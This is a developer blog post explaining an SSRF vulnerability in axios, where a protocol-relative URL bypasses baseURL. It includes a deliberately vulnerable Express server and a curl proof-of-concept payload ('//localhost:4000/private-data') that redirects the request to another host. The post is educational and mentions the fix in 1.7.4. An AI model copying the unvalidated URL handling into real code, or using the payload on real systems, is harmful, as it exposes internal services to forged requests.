DEV Community

Cover image for The sad story of node update!
Jairo Fernández
Jairo Fernández

Posted on

The sad story of node update!

Yesterday, I was happily finishing an upgrade at work, and everything seemed perfect 😄. All the dependencies migrated smoothly, and my npm audit looked great 🚀. But then…


Image description


Server-Side Request Forgery in axios ⚠️
https://github.com/advisories/GHSA-8hc4-vh64-cxmj

Image description

I spent a lot of time fixing things, only to see that stupid message 😡. My OCD was driving me crazy 🤯.


And, I said, hmmm how exactly this error works? what the hell is SSRF? I'll try to explain fast the concept and share with you the discovery :D

SSRF, or Server-Side Request Forgery, is like tricking your server into being an unintentional errand boy 🕵️‍♂️. It’s when a hacker gets your server to make requests to places it shouldn’t, kind of like sending your dog to fetch a stick but it comes back with a bomb instead 💣. (from ChatGPT 😍)


In code please!

Normally, axios works, in your server when you need to do some external request to https://some-domain.com/api/, you can do something like this:

 const instance = axios.create({ baseURL: 'https://jsonplaceholder.typicode.com/', timeout: 1000, headers: { accept: 'application/json' } }); 
Enter fullscreen mode Exit fullscreen mode

In theory, this is our innocent and pure server meant to fetch resources from jsonplaceholder:

 const axios = require('axios'); const express = require('express'); const instance = axios.create({ baseURL: 'https://jsonplaceholder.typicode.com/', timeout: 1000, headers: { accept: 'application/json' }, }); const app = express(); const port = 3000; app.use(express.json()); app.post('/fetch-data', async (req, res) => { const url = req.body.url; try { const response = await instance.get(url); console.log(response.data); res.json(response.data); } catch (error) { console.error(error); console.log('URL:', url); res .status(500) .json({ message: 'Error fetching data', error: error.message }); } }); app.listen(port, () => { console.log(`Server running on http://localhost:${port}`); }); 
Enter fullscreen mode Exit fullscreen mode

You can try this one on terminal:

 curl -X POST http://localhost:3000/fetch-data \ -H "Content-Type: application/json" \ -d '{"url": "/todos/1"}' 
Enter fullscreen mode Exit fullscreen mode

The response is like this:

 {"userId":1,"id":1,"title":"delectus aut autem","completed":false} 
Enter fullscreen mode Exit fullscreen mode

everything is beautiful, but...

Image description


Now, if you have another server (acting as a malicious server) on http://localhost:4000, what happens when the user tests it:

 const axios = require('axios'); const express = require('express'); const app = express(); const port = 4000; app.use(express.json()); app.get('/private-data', async (req, res) => { const url = req.body.url; try { console.log('Private URL:', url); console.log('WTF??????'); res.send({ message: 'Data fetched' }); } catch (error) { console.error(error); console.log('URL:', url); res.status(500).send('Error fetching data'); } }); app.listen(port, () => { console.log(`Server running on http://localhost:${port}`); }); 
Enter fullscreen mode Exit fullscreen mode

Try again

 curl -X POST http://localhost:3000/fetch-data \ -H "Content-Type: application/json" \ -d '{"url": "//localhost:4000/private-data"}' 
Enter fullscreen mode Exit fullscreen mode

you will get this response:

 {"message":"Data fetched"} # data from other server! 
Enter fullscreen mode Exit fullscreen mode

“So, this is really bad 😱 because you’re trusting the axios instance. The good news is that within a day, the issue in axios was successfully fixed in version 1.7.4 🎉.”


If you want to play with this, please check the experiment here 👇

Top comments (1)

Collapse
 
andres_fernandez_05a8738d profile image
Andres Fernandez

Great explanation, I finally understood this vulnerability, thanks for sharing.